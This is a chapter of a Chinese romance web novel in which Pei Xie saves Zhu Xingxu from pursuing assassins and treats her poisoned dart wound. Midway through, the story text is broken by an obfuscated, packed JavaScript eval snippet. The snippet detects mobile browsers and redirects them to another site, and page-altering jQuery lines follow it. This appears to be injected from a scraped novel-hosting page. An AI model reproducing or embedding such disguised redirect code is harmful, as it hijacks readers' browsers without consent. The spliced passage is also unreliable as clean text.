来不及思考,祝星序调转缰绳,朝着裴榭所说的方向狂奔。
白马似乎也意识到了事态的严重性,拼了命地跑。
祝星序和裴榭一前一后地疾驰。
后面的人也纵马追了上来,一边追着,一边抽空放着冷箭。
破空声在祝星序的耳边传来,她吓得额头沁出了一丝汗。
幸好她当时因为贪玩和无聊学了马术,不然在这种情况下……不是被飞箭射中,就是被马摔在地上了吧……
祝星序的白马因为急速奔驰,身体也溅上了不少泥点,看上去已然裴榭的那匹马相差不大了。
裴榭驱马跑着,时不时往身后看着。
既看敌人,也看祝星序。
敌人和他们的距离不算近,要在这么黑的情况下朝他们反击,确实有些困难。
祝星序深深拧着眉,抿着唇,一脸严肃,那双漂亮的浅棕色瞳仁里盛满了紧张。
不知怎的,裴榭居然觉得她这样竟有几分可爱。
他好像又见到了她多面中的另一面呢。
后面有一人的骑术十分了得,他不专注于攻击,只求追上。
很快,他便来到祝星序的身后,伸出手,想将她先拿下。
祝星序此刻的注意力全在骑马身上,只想着快一点,再快一点,没有注意到身后多了个人。
裴榭抽出腰间的匕首,往后一掷,狠狠击中了那人的胸膛。
那人哀嚎一声,应声而倒。
祝星序这才发现裴榭的动作。
她往后一看,一名黑衣人摔在地上,马也不跑了。
其他人的骑术并不精进,因为那人而停住了。
她松了一口气。
这样应该就没问题了吧?
裴榭也看到了,稍稍安心,将祝星序往其他地方引。
那个方向也能回去,就是要绕一下。
祝星序放松了,身体也没那么紧绷了,开始四处看着。
一道银光瞬时闪过,晃到了祝星序的眼睛。
是谁?
趁裴榭眨眼的那一瞬间,又是一道银光闪过。
不知从哪来的黑衣人出现在裴榭的身后。
他手执吹箭,出口朝着裴榭。
祝星序想也不像,就踩上马背,扑到他的身后。
几乎是同时,飞箭也应声而出,射中了祝星序。
她只感到背上一疼,接着力气像流水一样流失了。
裴榭也发现了那人,伸手拖住即将跌落的祝星序,另一只手拿出腰间的其他武器,将那人击落。
此时再没有其他人,裴榭抱着祝星序,下车查看那人的情况。
那人只受伤了,还在地上爬行。
没有过多犹豫,裴榭直接将那人抹了脖子。
鲜血喷了出来,洒在草地上。
草的颜色更深了。
待处理完,又确认了一番周遭的安全,裴榭才去看祝星序的伤势。
她的后背正插着一柄飞箭,鲜血从伤口处蔓延开来。
与此同时,空气中还有一股花香。
裴榭眼神一凛,赶紧将她放下来。
撕开祝星序背后的衣服,那飞箭上果然淬着毒。
意识到祝星序可能会死,巨大的寒意瞬间笼罩着他。
这寒意,竟比他幼时在麓城穿着里衣躺在雪地中还要冰冷。
他的表情少见地出现了恐慌。
裴榭颤抖着伸出手轻轻拍了拍祝星序。
“如何?”
祝星序有气无力地睁着眼睛看他。
“裴榭……我好累。”
裴榭的整个身体都在发抖,他不停地背着古诗文章,试图让自己冷静下来思考。
不冷静,就找不到救她的方法。
他紧紧闭上眼睛而后又睁开,拿出自己随身带的解药。
裴榭知道,来了京城,加入三皇子的阵营,就可能会遭人暗算。
所以他一直备着一些药。
也不知道这个药有没有效果。
当机立断,他倒出两颗,喂给祝星序。
祝星序乖乖吃下了。
她想不到裴榭害她的理由。
背上的伤口不痛了,隐隐还有种清凉的感觉。
再没接触过,她也知道,这不是正常现象。
之前看电视的时候,祝星序就知道,一般的刺客在刺杀时,总会在剑上涂毒药。
像这些训练有素的人,不可能不这么干。
哎,她最终还是要死了吗?
不知道死了能不能回现代……
忽然,她整个人悬空了起来。
是裴榭抱着她,将她轻轻地放在马背上。
他牵起马,走向不远处的湖边。
裴榭的速度很慢。
祝星序中了毒,不能快速移动,不然血液流动过快,毒素也会流遍全身。
到了湖边,他先是脱下外衣,放在地上,再将祝星序抱下来,让她趴在外衣上。
祝星序又感到伤口火烧一样地炙热。
连带着她身上都出了一层汗。
当裴榭触碰到她时,她直接顺势贴了上去。
“好热……”
祝星序将滚烫的脸贴在裴榭的掌心。
掌心传来祝星序过高的温度,裴榭心中的担忧越发深了起来。
“这个毒我见过,就是会忽冷忽热的。”
他熟练地撕下一部分衣摆,将布条放置在水里,待完全打湿后,拧干,转身给祝星序擦去脸上和脖颈上的汗。
裴榭的体温低,靠近祝星序时就像一座大冰窖似的。
她感到身上的力气恢复了一些,立刻挪到裴榭面前,伸手抱住了他的腰。
裴榭的动作顿了顿,接着继续为她擦汗。
他身上源源不断的寒凉进入祝星序的身体,她舒服得喟叹了一声。
在祝星序贴着抱裴榭的时候,裴榭的注意力关注到了祝星序的背上。
飞箭还在那里。
现在应该可以拔了。
裴榭又扯下一块衣服布,裹成一团。
虽然飞箭很小,但难免不会爆血。
他的左手拿着布,右手颤颤巍巍地伸到飞箭的柄上。
小时候,他也被这么伤到过。
他为了逃避仆从的看管,爬上了屋檐,想从上面直接出去。
但是,他还太小了,脚一滑,跌到了地上。
那时地上刚好有一小截树枝,就那么直直的进入了他的背部。
他疼得不行,一直哭,走着去找大夫。
大夫是多年的医科圣手,只看了一眼,伸出手来经验丰富地拔出来了。
当时,他痛得更是嚎啕大哭。
裴榭不想。
他不想看到祝星序这么痛。
祝星序将脸埋进他的腰,一个劲地蹭着。
本是暧昧的场景,裴榭的心却是被什么禁锢了似的,生不出半分旖旎的心思。
隔着一层布料,祝星序尚觉不够,迷迷糊糊地用手去够裴榭的腰带。
他皱眉,一把抓住她的手。
“裴榭……”
意识模糊的祝星序有些不满。
为什么不让?
但是,他的手也好冰,好舒服。
祝星序回握住他的手,使了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431958|180379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点劲。
裴榭深吸一口气。
不能再拖了。
他又脱下中衣,只着里衣。
裴榭将祝星序的脸摆在他的腰侧。
“痛就咬,知道吗?”
祝星序将脸又贴了上去。
“你说什……啊!”
裴榭手速极快地将飞箭拔出,扔向一边,同时,另一只手也赶紧拿着那团布捂着。
她只看到背部一阵酥麻的疼痛,毫不犹豫,张嘴咬向裴榭的腰。
他闷哼了一声,并没有闪躲。
深色的鲜血涌出。
浸湿了那团布。
裴榭的额头开始渗出汗水,一滴一滴落在他的胳膊上。
千万不要……
他内心疯狂地默念着。
裴榭没有信仰,可这一刻,他将能想到的全都求了一遍。
不知是毒素不多,还是他的祈求真的有用。
鲜血慢慢不流了。
裴榭长舒一口气。
回过神来,他的脊背都已湿了一片。
里衣黏黏的附着在他的身体上。
环境不允许,裴榭只能再撕下一块衣服布。
这次他撕得长了些。
裴榭低头问祝星序:“迷药带了吗?”
祝星序听到迷药,迷瞪地点头。
“在哪?”
“衣襟里面……”
裴榭的耳朵尖立刻红了起来。
转头看见祝星序虚弱的模样,他飞快将奇怪的念头抛诸脑后。接着目不转睛地在半息之内取出了瓷瓶。
迷药是裴榭特制的,有麻醉的功效。
这样应该就不疼了。
裴榭又去湖边洗了一下那团布。
布浸在水里,血液丝丝线线地进入湖水中。
待布的颜色浅了些,他便回来仔细为祝星序擦去了背上的鲜血。
她的衣服只开了一个小口,裴榭犹豫了一下,将那道口子扯得大了一些。
刚好能擦干净血,又不至于到大敞的地步。
等他们回去,也好解释。
祝星序的意识有些不太清醒。
只知道面前这个人来来回回的,给她擦去背上的黏腻。
每当裹着清凉湖水的布团沾到时,祝星序都会战栗一下。
这时,裴榭的动作就会更轻更柔。
这一次,她除了感到伤口有些疼,还有些热热的之外,再没其他不适。
比上次在镇国观里受伤要好很多。
奇怪……明明这次更严重吧?
中了毒,祝星序感觉自己的脑子都不太灵光了。
来回走了几趟,裴榭终于把祝星序后背的血迹给擦干净了。
外衣裂口里,她白皙的背部就这样映入他的眼帘。
裴榭只看了一眼,便继续动作。
他将迷药的瓶口打开,只洒了些许到伤口上。
祝星序很快就不痛了。
但还是很热。
裴榭又用那条长布条小心翼翼地缠绕住伤口。
一边缠着,一边低声问她会不会有不适。
在祝星序摇了几遍头之后,裴榭才不松不紧地缠好,又仔细检查了一番。
他有些庆幸,自己有学过这些,且提前备好了药。
不然,救不了她,还会让她痛苦。
见裴榭接下来没有其他动作了,祝星序又往他那边凑近了些。
他没有动弹,只是伸出了手,虚虚地揽着她,避开了伤口。
祝星序身上的热量源源不断地顺着他们紧邻的肌肤传递给他。
一簇一簇的,流向裴榭的心底。